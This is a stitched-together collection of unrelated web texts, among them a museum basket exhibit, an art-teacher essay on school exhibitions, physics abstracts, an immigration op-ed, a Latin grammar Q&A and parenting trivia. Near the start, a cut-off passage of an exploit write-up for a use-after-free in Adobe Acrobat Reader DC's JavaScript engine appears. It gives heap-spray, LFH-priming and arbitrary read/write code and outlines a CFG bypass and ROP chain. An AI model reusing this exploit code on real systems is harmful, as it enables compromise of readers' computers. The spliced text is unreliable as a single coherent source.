On exhibit are baskets woven by artists representing 60 cultural groups, today referred to as tribes, bands, or pueblos. The weavers' ancestral lands are in six culture areas of Western North America: The Southwest, Great Basin, Plateau, California, the Northwest Coast, and the Arctic.
Baskets can be functional. Burden baskets were for carrying. The improbable task of cooking was done in baskets—heated stones were added to food and liquid contents in meal preparation. Water was carried and clams collected in others. Baskets also served as hats (especially, but not exclusively, to the tourist trade).
Yet, function does not trump beauty. Basket making techniques are inherently attractive. Among the baskets on view are examples of false embroidery, cross weave, plaiting, and coiling. Materials like wrapped twine, corn husk, roots, rhizomes, stems, branches, leaves, grass, and cedar bark add their own good looks.
Of the 241 baskets in the exhibition, only 45 have been attributed to individual artists. Woven Identities honors those weavers and the many others whose names we do not yet know.


80-0x10+8, 0xffff, true);
 // ArrayObject.elements_.length
 dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+0xc, 0xffff, true);
The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the FAKE_ARRAY_OBJ_ADDR global variable.
Each of the sprayed ArrayBuffer objects contain a crafted fake Array object [2]. To craft a fake Array objects not all the internal structures need to be provided. However, there are some important values that need to be chosen carefully:
 - Elements.initializedLength: The number of elements that have been initialized.
 - Elements.capacity: The number of allocated slots.
 - Elements.length: The length property of Array objects.
When the use-after-free condition is triggered, operations on the crafted Array object (set as values of the sprayed the ArrayBuffer object) include reading and writing to the Array. The eventual goal is to corrupt the byteLength field of an ArrayBuffer object (which is a well-known method to obtain a read and write primitive). By ensuring that the crafted Array object allows writing past the boundaries of the underlying ArrayBuffer object and into an adjacent ArrayBuffer, the adjacent ArrayBuffer can be desirably corrupted. Therefore, the values of the Array object properties need to be bigger than number of bytes that separate the start of the array from the next ArrayBuffer metadata.
Priming the Low Fragmentation Heap
The size of the object that is freed in this vulnerability is of 0x48 bytes (the size of an ESObject). Allocations with this size are likely to end up being handled by the Low Fragmentation Heap (LFH) if enough consecutive allocations of that size are performed.
In order to be able to allocate into the addresses of the freed ESObject, it is good to make sure that the object is handled by the LFH in order to reduce the possibility of the application uncontrollably allocating into that spot.
var lfhPrime = new Array(0x1000);
function primeLFH() {
 // Activate the LFH bucket for size 0x48 (real chunk size is 0x50) and help improve determinism.
 // We want the allocation of the UAFed object to fall in the LFH so we can claim its freed chunk more or less reliably.
 var baseString = "Prime the LFH!".repeat(100);
 for (var i = 0; i < lfhPrime.length; i++) {
 lfhPrime[i] = baseString.substring(0, 0x48 / 2 - 1).toUpperCase();
 for (var i = 0; i < lfhPrime.length; i+=2) {
 lfhPrime[i] = null;
The function listed above performs multiple allocations of size 0x48 [1] in order to activate the LFH bucket for that size. Activating the LFH for a specific size requires at least 0x11 consecutive allocations. However, since the application might require allocations of that specific size for other uses, some of the allocations are freed to reduce the possibility of it allocating into the freed ESObject spot [2].
Creating and Freeing the Vulnerable Object
Once the memory is laid out the ESObject has to be created, added into the cache, and then freed.
this.dataObjects[0] = null;
g_timeout = app.setTimeOut("triggerUAF()", 1000);
In the code listing above, [1] triggers the creation of the data ESObject that is stored in the object cache. Then, [2] removes the reference to it so when the Garbage Collector is triggered in [3] the ESObject is freed.
Allocating Into the Freed Spot
At this point the heap has been curated for allocation into the freed ESObject spot. To do so, a large number of allocations of size 0x48 have to be performed in order to have a chance of one landing into that spot.
var stringSpray = new Array(0x2000);
function sprayStrings() {
 // Spray strings of size 0x48/2-1 in order to eventually allocate into the spot left by the freed chunk
 var baseString = unescape(toUnescape(FAKE_ARRAY_JSOBJ_ADDR).repeat(0x48));
 for (var i = 0; i < stringSpray.length; i++) {
 stringSpray[i] = baseString.substring(0, 0x48 / 2 - 1).toLowerCase();
The allocations are performed with a spray of the size defined at [1]. The value for this size is the double of the size selected for priming the LFH to make sure to fill the free spots left and also the ESObject spot.
The object used in the spray is a string, as it allows an easy control of the size and contents without any metadata overhead. The contents of the string is the unescaped value of the address where a fake Array object is expected to have been allocated during the initial ArrayBuffer spray. The unescape function is used to deal with Unicode transformation.
Achieving Arbitrary Read and Write
Once the predictable address occupies the spot in memory left by the freed ESObject and points to the fake Array object, an access to the data object provides a handle to that fake Array object that can be used as a normal Array. This can be achieved with the following line of code:
var fakeArrObj = this.dataObjects[0]
By carefully choosing the element of the fake Array to assign a value to, the adjacent ArrayBuffer can be corrupted. The interesting value to corrupt is the byteLength property. Following the byteLength field, the next value in memory is a pointer to the DataView object associated to the ArrayBuffer. It is important to take into account that this value can only be either a valid pointer or zero.
function getArbitraryRW(fakeArrObj) {
 var corruptedArrayBuffer = null;
 var nextABByteLengthOffset = ARRAY_BUFFER_SZ-0x10-0x70+0x8;
 fakeArrObj[nextABByteLengthOffset / 8] = 2.12199579047120666927013567069E-314;
 fakeArrObj[0] = this.addField("t", "text", 0, [0, 0, 0, 0 ]);
 fakeArrObj[0].value = "dummy1337w00t";
 if (arrayBufferSpray[i].byteLength == -1) {
 corruptedArrayBuffer = arrayBufferSpray[i];
 return new DataView(corruptedArrayBuffer);
In the code listing above, the byteLength value of the adjacent ArrayBuffer object is overwritten [1]. The integer value used translates to 0xFFFFFFFF 0x00000000 in memory due to the IEEE 754 representation for double values.
Aside from the ArrayBuffer corruption, a text field is created and assigned to the fake Array [2]. This is later used to leak a pointer to the AcroForm.api module, which is used to leak the icucnv58.dll module base address.
The next step is to locate the corrupted ArrayBuffer by checking the size of all the allocated buffers [3]. Finally, creating a DataView on the corrupted ArrayBuffer allows to read from and write to arbitrary memory addresses, since the size of the ArrayBuffer was set to 0xffffffff. However, the addresses specified when reading or writing memory are relative to the address where the corrupted ArrayBuffer is located. For convenience, the following helper functions were created to read and write memory using absolute addresses.
function readUint32(dataView, absoluteAddress) {
 var addrOffset = absoluteAddress - startAddr;
 if (addrOffset < 0) {
 addrOffset = addrOffset + 0xffffffff + 1;
 return dataView.getUint32(addrOffset, true);
function writeUint32(dataView, absoluteAddress, data) {
 var addrOffset = absoluteAddress - startAddr;
 if (addrOffset < 0) {
 addrOffset = addrOffset + 0xffffffff + 1;
 dataView.setUint32(addrOffset, data, true);
Writing and Executing the ROP Chain
The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules. CFG forbids redirecting the execution flow via pointer overwrite to arbitrary addresses.
One way of bypassing the CFG restrictions is to redirect the execution flow to a module that was not built with CFG enabled. Adobe Acrobat Reader DC ships with some modules that do not have CFG enabled. The most convenient one for the current exploit is icucnv58.dll. Its large size (plenty of options for ROP gadgets) and the fact that it gets loaded at runtime if text fields are used (this module offers functions to handle Unicode data) makes it a perfect candidate.
Taking this into account, the strategy can be the following:
 1. Obtain pointers to the relevant modules to calculate their base addresses.
 2. Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
 3. Write the shellcode.
 4. Call VirtualProtect to change the shellcode memory region permissions to allow execution.
 5. Overwrite a function pointer that can be called later from JavaScript.
The


text: Description: Digitization provided by the USF Libraries Digitization Center. Rare Maps. This is a detail of Nassau County from a hand colored map of Florida, circa 1834. Nassau County is shown in its present day location. This map shows cities and towns, inland waters and county borders. There are inland waters such as the Nassau River and St. Marys River. Scale [ca. 1:1,774,080]. Source: Henry Schenck Tanner, North America XIV, Florida (London, : Baldwin & Cradock, 1834) Map Credit: Courtesy of the Special Collections Department, University of South Florida.


text:
Readers who find this page helpful, may also wish to visit these pages.
Exhibition SmartAwards that Leave No Mind Behind and reward every participant while educating all of us about art and life.
How to install a student show with ordinary masking tape. _URL_
Exhibit Design and Installation
seldom have enough space to show things as professionally as it should
be. I like to keep exhibit design and presentation very simple and very orderly, even when it too crowded. I want the viewers to notice the artwork—not
fancy exhibition design, brightly colored mats, or some distracting
exhibition idea. When I see an exhibit with colored mounts,
decorative additions, or bizarre arrangements, it makes me feel that
there was not much respect for the artwork itself. I avoid colored
additions. I have never seen an art museum that used colored mats or
mounts for artworks created on paper. I want to see the
artwork. I want the exhibition to be so well designed that I do not notice the exhibit design more than the artwork itself.
To arrange the artwork, we begin with the largest works
and gradually add smaller works to complete the design of the
exhibit. Sometimes works can be grouped attractively. We
often lay it out on the floor to see how a group works before putting
Who Does the Work
The older students or more advanced classes do the work.
When students learn how to design and install the exhibit they are
learning art. They are learning very useful life-long choice-making
skills and I am ultimately getting lots of help. They
have to make choices about color relationships, dominance and
subordinance, how to move the viewer's attention around, and all the
standard compositional questions.
I remind students to be particularly careful about the negative spaces between the works. I make the negative spaces (wall spaces, if any) equal unless there is a good visual reason not to make them equal.
They have to make choices about color relationships, dominance and
subordinance, how to move the viewer's attention around, and all the
standard compositional questions. They are asked to be as fair as
possible when they choose where to place their own work and that of
See this link
for ideas on mounting a display of school artwork where there is no
good provision for an exhibit. It illustrates a simple way to use
tape to hang temporary exhibits so the work will not fall down, but can
still be removed without damaging the wall after hanging a week or so.
Labels and Information
London, I was fortunate to see a special exhibition of original
drawings from the hand of Michelangelo, 1475 – 1564. Often there was a
photograph of the painting or sculpture that Michelangelo subsequently
created using the ideas he developed with drawing. Much of the wall
space was given to text that helped me understand the need for each of
his drawings. Soon after entering, an explanation on the wall
said, "Drawing was an essential tool for Michelangelo to explore his
ideas... his creativity was stimulated by the process of drawing—the
flow of ideas quickening as he realized them on paper." (--from the
British Museum wall, March, 2006)
In April, 2006,
I viewed an exhibit of the student work of art education students at
the College of Creative Studies in Detroit. In addition to
titles, artist name, and media, each work or group of artworks was
displayed together with the assignment. By sharing the concepts
used in the assignment the viewer participates in the learning.
Our art programs get more of the support from parents, administrators,
and other teachers when we help them see the learning benefits of art
When we display our student's artwork, students need to see their names with it, and others need to see at least the main goals of the assignment
that occasioned the work. Why was the work created? What
purposes does it fulfill as learning for the student artist and for us
the viewers? Our students are not assigned the Sistine Chapel ceiling,
the Last Judgment, or a larger than life marble statue of David, but
our assignments shape their work just as Michelangelo's commissions
shaped his work. As the result of including assignment
information, more than one art teacher has heard comments from parents
and other teachers saying things such as, "Oh, I didn't't know they
learned things in art!"
In addition to the student name, it is good to include title, media, and the name of the art class if it is high school work, or year in school if elementary or middle school. If there are several teachers, include the teacher's name as well.
Some situations require a large overall title to the exhibit. Some exhibits are divided by categories, and it may be helpful to identify each category. In some schools, it is good to make some way-finding signs to guide the visitors to the room or place in the building where they can see the artwork.
END OF ESSAY - SEE RELATED LINKS BELOW
Smart Art Awards?
Giving awards has benefits and pitfalls. This page
explains a way to gain motivational and education benefits from awards
while avoiding the negative pitfalls (a teaching invention seen here first).
No good place for an exhibition?
How to Install an Exhibit using tape so it will not fall down.
How to Build a Temporary Self-Supporting Wall in the Gym using Tackable Fiberboard.
This space is used as a drawing room in an old gymnasium. Also see shop drawings below. The walls are used to tack up drawings during critique sessions. A similar wall can be used for exhibitions.
Panels are available in different colors and with fabric cover for classroom use. Other products are also available at your building suppliers.
Do not hide exit signs.
4 x 8 foot panels are attached to angle spleens with screws.
LINKS to.pdf Shop Drawings for
tackable fiber panels to display artwork.
Sheet 3 drawing (24kb download,.pdf files)
Sheet 2 (28kb download,.pdf file)
Sheet 1 (40kb download,.pdf file)
Teachers may make one copy of the drawings for school use. Commercial or business use restricted without specific permission. CAUTION: Find a safe and spacious place to add walls. Do not hide exit signs. Do NOT restrict or block school corridors or add combustibles unless your fire marshall and insurance company approves. The author does not make any safety claims for the products illustrated on this page. Check the specs of the products before using them in a school setting.
Panels for classroom use.
more links_of interest to art teachers, administrators, and parents
All rights reserved. Images, text, and design
© Marvin Bartel 2004.
Parents and teachers may make one copy of this page for personal study so long as they keep the © information with the copy.
Permission is required to make copies, publish, or to post on another web site.
mention the URL or the title of this page in your correspondence with
the author. You may make a link to this page from your page
Author info: As an art teacher, I was also gallery director for the Art Gallery adjacent to the art rooms in Topeka High School, KS for three years while teaching there. I was faculty sponsor for Senior Exhibits at Northeast Missouri State University before they had a gallery and had to improvise in the hallways or in an empty room. I was gallery director for about 10 years at Goshen College. -mb
Larger Bio of Author - CONTACT HERE


We are entering a new era in which we can test confinement scale QCD in some well chosen reactions such as pi-pi and pi-N scattering, pion properties, and electromagnetic pion production from the nucleon. Based on the spontaneous breaking of chiral symmetry, chiral perturbation theory (ChPT) is believed to approximate confinement scale QCD as demonstrated by increasingly accurate lattice calculations, particularly in pi-pi scattering. Following a brief review of this field, emphasis will be given to recent, Increasingly accurate, experiments in electromagnetic pion production experiments from the proton performed at Mainz and JLab; these test ChPT calculations and their energy region of validity. The connection between electromagnetic pion production, pi-N scattering, and quark mass effects will be presented.


text:
Website Detail Page
written by the Kansas State Physics Education Research Group and Dean A. Zollman
This resource illustrates the interference patterns for diffraction through double slits. A series of sources, electrons, protons, neutron, photons, and pions, can be chosen for the virtual experiment. The energy of the source, the slit separation, and the flux rate can all be adjusted. The diffraction patterns are built from random flashes on a screen. The screens can be saved for comparison of different experiments.
ComPADRE is beta testing Citation Styles!
Disclaimer: ComPADRE offers citation styles as a guide only. We cannot offer interpretations about citations as this is an automated procedure. Please refer to the style manuals in the Citation Source Information area for clarifications.
Citation Source Information
The APA Style presented is based on information from APA Style.org: Electronic References.
The Chicago Style presented is based on information from Examples of Chicago-Style Documentation.
The MLA Style presented is based on information from the MLA FAQ.
Double Slit Diffraction:
Is Referenced By Matter Waves
Matter Waves uses the example of a double slit experiment to explore the wave-like properties of quantum particles.relation by Bruce Mason
Is Required By Light and Waves
The Light and Waves tutorial uses the double slit electron experiment to demonstrate the wave-like properties of electrons.relation by Bruce Mason
Is Required By Interpreting Wave Functions
Interpreting Wave Functions uses a Double Slit Diffraction simulation to demonstrate the need for a description of the measurement probability.relation by Bruce Mason
Is Part Of Visual Quantum Mechanics
Visual Quantum Mechanics contains a series of simulations, tutorials, and pedagogy to help in the learning of concepts in quantum physics. This material is suitable for a wide range of students.relation by Bruce Mason
Know of another related resource? Login to relate this resource to it.
Is Referenced By


text:
Introduction to Physical Science/Energy
Many Forms of Energy
By 9th grade (U.S. system) some students can identify potential energy (energy stored in objects due to their position - snow on a steep slope) and kinetic energy (displayed by snow when it breaks loose and an avalanche falls down the steep slope.) Some students recognize the heat is a form of energy as well. In fact, depending on the context of the discussion, students may identify many forms of energy, such as: Potential, Kinetic, Thermal, Chemical, Electrical, Magnetic, Sound, Nuclear and so on.


Gallegly: U.S. magnet: Illegal immigrants paid $4.2 billion
According to President Obama's own Treasury Department, 2.3 million illegal immigrants who paid no income taxes in 2010 nevertheless received $4.2 billion in tax refunds.
That's four times the tax refunds that were paid to illegal immigrants who paid no taxes in 2005, and is increasing exponentially as more illegal immigrants find out about the program.
At a time when the federal government is considering program cuts for American citizens, giving away billions in taxpayer dollars to illegal immigrants is unconscionable.
Illegal immigrants are able to claim tax credits because the IRS allows illegal immigrants to apply for a nine-digit Individual Taxpayer Identification Number, which is then used to file income tax forms in lieu of a Social Security number. Tax credits are paid even if the taxpayer has no taxable income.
As the Treasury Department inspector general who wrote the report noted, these tax credits are "an additional incentive for aliens to enter, reside and work in the United States without authorization, which contradicts federal law and policy to remove such incentives. Clarification is needed on this issue."
More than clarification is needed. This is one more magnet drawing illegal immigrants to the United States that the federal government must remove.
The big magnet, of course, is jobs.
Removing the job magnet is why I am working hard to pass the Legal Workforce Act through Congress. When fully implemented, the Legal Workforce Act will open up as many as 7 million to 11 million jobs for Americans that are now worked by illegal immigrants.
It requires all employers in the United States to use E-Verify, an easy-to-use, accurate and free Internet-based employee verification system. E-Verify will replace the cumbersome and costly I-9 forms that employers now must use to verify the eligibility of an employee to work in the U.S.
Will E-Verify discourage illegal immigration? The facts speak for themselves.
Bill Watkins, an economist at California Lutheran University in Thousand Oaks, recently told an economic forum that California's high jobless rate is a major factor in only about 23 percent of illegal immigrants coming to California now, about half what it was in 1990. If they are denied a job, a major incentive to immigrate illegally has been removed.
And doing so will have a positive impact on California's economy. Illegal immigration cost Californians a net of more than $20 billion in 2010 in services and incarceration costs. Yet, California continues to provide magnets to draw illegal immigrants to the state. That includes free education for illegal immigrant adults, sanctuary cities and Gov. Jerry Brown's decision to prohibit cities and counties from requiring employers to use E-Verify.
The Legal Workforce Act will overturn Gov. Brown's law.
In addition to requiring E-Verify for all U.S. employers and changing the law so illegal immigrants cannot receive billions from American taxpayers, the federal government must:
- Contact every person on the Social Security Administration no-match list and every employer who employs a no-match worker, and give them 60 days to clear the discrepancy or lose the job. A no-match occurs when the name and Social Security number of a worker do not match. The last time the SSA sent no-match letters, 11 million workers fell into that category.
- End sanctuary policies. U.S. Attorney General Eric Holder sued Arizona and other states on the doctrine that federal law pre-empts local and state laws. To be consistent, he must sue every city and locality that provides sanctuary to illegal immigrants.
Removing the incentives that cause immigrants to come and stay here illegally will not cost governments and will in fact increase revenues. It will remove the need for mass deportations because those who are here illegally will have no incentive to stay and those who would have immigrated illegally no longer have a reason to.
American taxpayers are hurting. They shouldn't have to compete with illegal immigrants for limited resources.


Consider the following line from the Aeneid, Book VI:
nec credere quivi hunc tantum tibi me discessu ferre dolorem.
Context: Aeneas has traveled into the underworld, and bumps into Dido, who he infers has committed suicide because of his departure.
My best literal translation is: "I couldn't believe this, my leaving, to bring unto you such pain," because I think that me discessu (for me to leave) stands in apposition with hunc. But I'm not sure whether supine verbs can have a subject argument.
So, generally, can an ablative clause formed from a supine verb have nouns corresponding to the base verb's subject or object?
 - 1
 I would discessu interpret here as a participle, and part of an ablativus absolutus with me -> because I left. Your question is still valid though. – piscator Nov 19 '16 at 19:30
Looking at it, I don't think me is ablative; it's more likely an accusative as the subject of an indirect statement with credere. Discessu here is not a supine, but a fourth-declension noun, discessus.
The translated line should actually be:
Nor did I believe that I in my departure would ever have caused you so much pain.
(Apologies for the tenses.)
All the grammars are clear that the ablative supine does not take an object of any kind. The hunc then probably goes with tantum dolorem in a way that can't be literally translated into English without extra words.
I checked two nineteenth-century interlinears to see if they could shed light on it. Hart/Osborn's is very nearly the same as mine, while Dewey's differs only in the translation of hunc.
 - Great to share interpretations here, thanks! me as an accusative in an indirect statement is possible from a grammatical perspective, but the positioning of the words (me discessu) as a group are in favor of an ablativus absolutus. You translate me discessu as my departure. How is this possessive aspect shown in the Latin? If me is an accusative, I would translate discessu as "by going away". But it would seem farfetched to me. – piscator Nov 19 '16 at 20:15
 - _USER_ No, I translate discessu as "in my departure" with me being "I". That part has to be the case, otherwise there is no subject of ferre. me as an ablative also cannot be apposite to hunc, as they're different cases. – cmw Nov 19 '16 at 20:20
 - 1
 _USER_ Ah, sorry, I misunderstood your post then. The problem becomes another, then, as discessu (with a -u) cannot be a regular perfect participle. This is going off your comment that "me discessu is an ablative clause." Were that the case, you would have seen me discesso along with a very different (sc. passive) meaning! – cmw Nov 19 '16 at 20:49
 - 1
 You are right, it can not be an ablative absoute, "by going away" is correct. Thanks! – piscator Nov 19 '16 at 20:59
 - 1
 _USER_: It may help to keep in mind that the supine is (from) a kind of substantive noun: it's not an adjective and it cannot agree with a noun. It is its case that conexes it with other nouns or adjectives, not agreement. (I agree with Weimer.) – Cerberus Nov 20 '16 at 17:48
The second supine (ending with -u) can only be combined with adjectives, or with fas and nefas. Examples:
 - iucundum cognitu atque auditu
 - nefas est dictu
A second supine verb never has an object, but it can have a subject, for example pleraque faciliora sunt dictu quam factu.
Your Answer


You are here
6 Weird Baby Questions --- Answered
Why does a baby's first head of hair fall out?
Basically, for the same reason you find yourself shedding like a Saint Bernard after giving birth: a drop in hormones. "High estrogen levels in your body during pregnancy cause both your and your baby's hair to grow, with less resting or shedding," says Jennifer Shu, M.D., an Atlanta pediatrician and coauthor of Heading Home With Your Newborn. Postpartum, your estrogen levels plummet -- and so do your baby's because he's no longer getting his hormones from you.
You both enter a shedding stage called "telogen effluvium." This lasts about six months for your baby, possibly longer for you. Will your child become as bald as Bruce Willis? It depends on his hair's texture and whether he sits up early (then he won't spend as much time rubbing his head against mattresses and activity mats). All the while, though, new hair is sprouting. Just don't be shocked if this do is way different -- most infants' second headful is darker and coarser.
Is having a baby painful for other animals?
Since most mammals don't bellow during labor (except for us and a few others, such as Sumatran rhinos), it's easy to assume they're not in pain. But, says Terri Roth, Ph.D., a reproductive physiologist at the Cincinnati Zoo, "it just isn't to their advantage to make a big production. They're trying to stay quiet and hidden, especially from predators." Our animal sisters are suffering, though.
Consider dogs. The first time they give birth, they're often in such pain that they have to be stopped from biting their emerging puppies, says breeder Donna Pitt of Newport, Virginia. Most other mammals, from guinea pigs to giraffes, will pace, lie down and get up repeatedly, and be unable to sleep when delivery is imminent, Roth says. Some paw the ground. "Eventually they start straining when they go into labor. You can see their hind legs stretch out behind them, and the muscles on their sides contracting," she explains. The only mammals that seem to escape this ordeal are those whose newborns are tiny and presumably slip out easily -- bears and kangaroos, for instance. (Lucky them.)
And how about birds? Could laying an egg -- in some cases one a fifth the mom's size -- hurt, too? You bet. Most birds breathe hard while laying; their bills open and shut and their tails bob, says Roth's colleague David Oehler, an ornithologist. Afterward, they enter a motionless "recovery phase." (During which, presumably, they're pining for a little Tylenol.)
What makes a baby's eyes change color?
Your infant's peepers are a work in progress. At birth, they often don't contain enough of a brownish or yellowish pigment called melanin to show their final hue. In fact, blue or gray eyes (common in fair-haired newborns) have almost no melanin, says Dr. Shu. But during your baby's first 6 to 12 months, her irises -- the eyes' colored parts -- make more of it and darken. In some people, complete pigmentation doesn't occur until adulthood.
Babies with blue or gray eyes tend to have fair skin, which is good for absorbing vitamin D from sunlight and building healthy bones. On the other hand, people who have darker eyes and darker skin are less likely to develop melanoma. Plus, Dr. Shu says, "they usually have higher levels of folate in their bodies, which helps maintain healthy red blood cells, nerves, and muscles."
How come I smell that diaper and my husband doesn't?
He probably isn't faking (at least not every time). "Women generally have a more acute sense of smell than men and can better distinguish between different odors," says Vitaly Vodyanoy, Ph.D., a professor of physiology at Auburn University, in Alabama. One thing women smell better is skatole, a key component of the odor of poop, according to research at Cardiff University, in Wales. Hormones may play a part in all this: During ovulation and pregnancy, when estrogen levels rise, so does your sniffing superiority. But, hey, Dad can still be trained to detect a full diaper by its appearance (and weight!).
How likely is my baby to get my dimples or my husband's cleft chin?
Scientists have found a dazzling array of traits that can be determined by a single gene and run "dominant" -- meaning that if you or your spouse has one, your baby could have up to a 50 percent chance of getting it, too. Besides dimples and clefts, the list includes widow's peaks, the ability to curl your tongue, unattached earlobes (as opposed to attached ones), extreme joint flexibility, and second toes that are longer than "big" toes. Still, just because you've got cheeks like Kirsten Dunst's or a chin like Ben Affleck's, your kid may not have a fifty-fifty shot at following suit, says Emily Lisi, a genetic counselor at the Johns Hopkins University Institute of Genetic Medicine, in Baltimore. His chances go way down if you have a "complex" version of the trait, guided by both genes and environment. How can you tell? If your own mom or dad also has the trait, and inherited it from a parent, then you can be pretty sure it's the dominant form.
Why is pink for girls and blue for boys?
Today's color "rules" are relatively new. "All babies wore white for the longest time because it was easy to boil and sanitize," says Jo Paoletti, Ph.D., a historian at the University of Maryland, in College Park. In the early 1900s, colored clothes became less of a hassle with the arrival of better detergents, dyes, and washing machines. Still, today's custom emerged gradually (as recently as the 1960s, John F. Kennedy, Jr., was photographed in a pink romper). Thanks to a rise of philosophies that we should "teach" gender, parents became eager for a color code. Newer, more delicate pinks may have struck moms and dads as more feminine; blue-for-boys may have gotten help from nursery rhymes such as "Little Boy Blue."
How come little kids wiggle so much in their sleep?
Does your child wedge herself sideways in her crib or do a complete 180 by morning? A possible reason: Infants and young kids move much faster through the various sleep stages than we do and often wake briefly at the end of each, says Judith Owens, M.D., director of the Pediatric Sleep Disorders Clinic at Hasbro Children's Hospital, in Providence, RI. This means they have more awakenings than an adult -- during which they might flip around like a pancake.


text:
Learn how to say Erector correctly in English with this tutorial pronunciation video.
Oxford dictionary definition of the word erector:
a person or thing that erects something.
a muscle which maintains an erect state of a part of the body or an erect posture of the body:
a spinal erector
(Erector) North American trademark a construction toy consisting of components for making model buildings and vehicles:
an Erector set


Sunday, April 13, 2014
Hebrew name of the messiah
I had dedicated this blog to expounding the Hebrew in the Jewish Bible. This post is not worthy of this blog because it infringes on the grounds on another religion.
But then there are videos deceptively alleging that a Qabalah rabbi had confessed that he had dreamed about the messiah having the name [יהושוע] Yehoshua. So here goes …
 1. First, how many Jews have the name יהושוע (Yehoshua) and who were in Israel at the time of the rabbi's observation? How many Yehoshuas were there at that time?
 Christians who criticize Jewish Qabalah as satanic and the Talmud as evil, but yet I am trying to understand why the same people would often extract Qabalah and Talmud sources to say how Jewish traditions support their concept of salvation. Two-headed snakes.
 2. The Hebrew name of Jesus had always been [ישוע] (Y'shua). And all of a sudden now, his name was Yehoshua?
 3. The root word is [ישע] = [help, rescue, salvage]
 The pual (with collective-intensity passive) conjugate is [ישוע] Y'shua. Which means, participating in needing help. Needing to be rescued. Needing intervention.
 The term for this state of salvation is [ישועה] Y'shuah - the case of collective needing help, needing rescue.
 4. As accounted in the book of Numbers, Moses had renamed Joshua from [הושע] (Hosea) to [יהושע] (Yehoshua).
 [הושע] (Hosea) is hufal - effective intensity perfected conjugate of the root word [ישע].
 Hufal is the passive counterpart of hifil conjugate [השיע](Hishia).
 The hifil form [השיע](Hishia) is active intensive but never used in the Bible.
 The hifil would refer to the subject as effective in providing collective help.
 The hufal [הושע] (Hosea) would refer to the subject effecting/coordinating the collective receiving of help.
 So Joshua was initially a coordinator/effector in receiving help, but Moses renamed him to [יהושע] - The LORD Coordinator/Provider to collective receiving of help.
 5. In either case, Salvation is people being in the need of help.
 The case of Jesus' name yshua - being in the collective of needing of help.
 The case of Joshua's names - someone providing/effecting work and effort towards solving the collective state of needing help.
 That is why Pauline theology says of humans needing help but cannot do anything about it. All you could do is to have faith hoping that something would drop out of the sky.
 But the theology behind Joshua's names is - that we realising being in the state of needing help, someone effectively coordinating the receiving of help, and subsequently G'd providing for that collective need of help/rescue.
 Having faith is not enough to participate in salvation.
 There is no such thing as personal salvation, otherwise the personal nifal passive form would have been used for salvation.
 Regardless that he is not the messiah spoken in the Bible, even the name of Jesus connotates a collective in need of help, not an individual needing help.
 6. Jesus' name tells you how helpless you are collectively, but doesn't tell you what to do.
 Joshua's names OTOH, tells you that you have a collective part to play in salvation and that G'd will provide for that collective need.
 Therefore, the Hebrew semantics of the word reveals that, even though G'd does provide for the help needed, Salvation does not originate from G'd. It originates from those of us needing help. You do not receive salvation. You participate in salvation. You are part of the solution in effecting salvation.
 7. The difference is
 - are you participating in Yehoshua's coordinating the receiving of help
 - or participating in Yshua's hapless helpless needing help?
No comments:
Post a Comment


text:
West Valley Fire Explorer Post #530
The West Valley Fire Explorer Program, a joint venture with Learning for Life, is designed for young adults 15 – 21 years of age who are interested in learning about a career in the fire service. In addition to learning about the fire service, the Explorer Program's main goal is to provide young adults with a sense of responsibility to their neighborhood through ongoing community-related activities.
Fire Exploring gives young people valuable insight into the fire fighting profession. This insight will allow the individual to decide whether or not he or she desires to pursue a greater role in the fire service. By participating in the Fire Exploring Program, the individual will gain personal confidence, learn to use various tools, develop mechanical skills and aptitude, and gain a greater awareness of personal and fire safety.
Post size is limited to 20 Explorers who are led by a professional firefighter known as an Explorer Post Adviser.


Don't Buy Your Books from Crooks
That resource is Ohio Link.
-How does it work?
Ohio Link searches the catalogues of fellow Ohio Link schools and ships the text directly to the NDC library. To order your books, first stop by the library and register to use Ohio Link. The staff can help you with this.
-How do I know which books I need for my class?
On the college's homepage there is a link for the Virtual Bookstore. Click and select your courses to see the necessary texts and suggested prices.
-How long can I keep them?
The books are yours until the end of the semester. Just return them to the NDC library after finals and they will handle the rest.
Here's a step-by-step look at how to access Ohio Link.
 1. Go to
 2. Find the library link
 3. Click on Ohio Link
 4. Type in the title of the book you are looking for
 TIP: Pay attention to the edition required by your professor.
 5. Click on request
 6. Find NDC, type your name and enter your student ID number (found on your student ID beneath the barcode)
 7. Submit request, continue searching
Spending hundreds of dollars on books is completely unnecessary. Plan ahead and take time to do some research. Your wallet will thank you.
August 26
9:00 AM
Friday August 26, 9:00am
On Campus
E.g., 08/26/16
E.g., 08/26/16


text:
Why do some people get violent after boozingDecember 16th, 2008 - 6:17 pm ICT by ANI
Washington, Dec 16 (ANI): Have you ever wondered how generally calm people suddenly turn violent after downing a drink? Well, Finnish researchers have got the answer for you: it''s caused by an over active gene which triggers aggression.
Finnish researchers have found that drinking and MAOA gene can help predict impulsive violent behaviour in men.
The monoamine oxidase A (MAOA) gene is an outer membrane mitochondrial enzyme that breaks down monoamines such as serotonin, noradrenalin and dopamine.
A common polymorphism in MAOA results in highor low-activity MAOA that has been linked to aggression and violence.
The researchers have found that drinking and high-activity MAOA can predict the risk of impulsive violence, while aging may decrease this risk.
Roope Tikkanen, a researcher in the department of psychiatry at Helsinki University Central Hospital and corresponding author for the study and his colleagues decided to look at the MAOA gene, alcohol consumption and aging as predictors for recidivism in impulsive violent behavior among a sample of 174 Finnish alcoholic male offenders originally recruited between 1990 and 1998.
Each offender was given a psychiatric assessment; in addition, their alcohol consumption was measured, their violent behaviour was assessed, and they were genotyped for polymorphisms of MAOA.
"Increased alcohol consumption and aging seem to predict violence," said Tikkanen, "although these risk factors "work" in opposite directions, and only concern individuals who have been given by nature a high-activity variant of MAOA."
He said additional research has suggested that individuals with low-activity MAOA seem to be at risk for criminality and violence after exposure to severe childhood maltreatment.
"People react quite differently to acute alcohol exposure," Tikkanen said.
"Most individuals become relaxed and talkative, while some particularly persons who are introverted while sober become expansively extroverted and aggressive.
A dramatic change from a normally introverted personality to extroverted aggressiveness and uncontrolled behaviours under the influence of alcohol was formerly called "pathological intoxication" in Finland," he added.
Tikkanen suggests that high-activity MAOA offenders may be helped to control their violent behaviours by coaching to maintain alcohol abstinence, and possibly by psychopharmacological treatment to increase central serotonin levels.
The study will be published in Alcoholism: Clinical & Experimental Research and are currently available at Early View. (ANI)
- Scientists discover gene that triggers violent anger - Dec 23, 2010
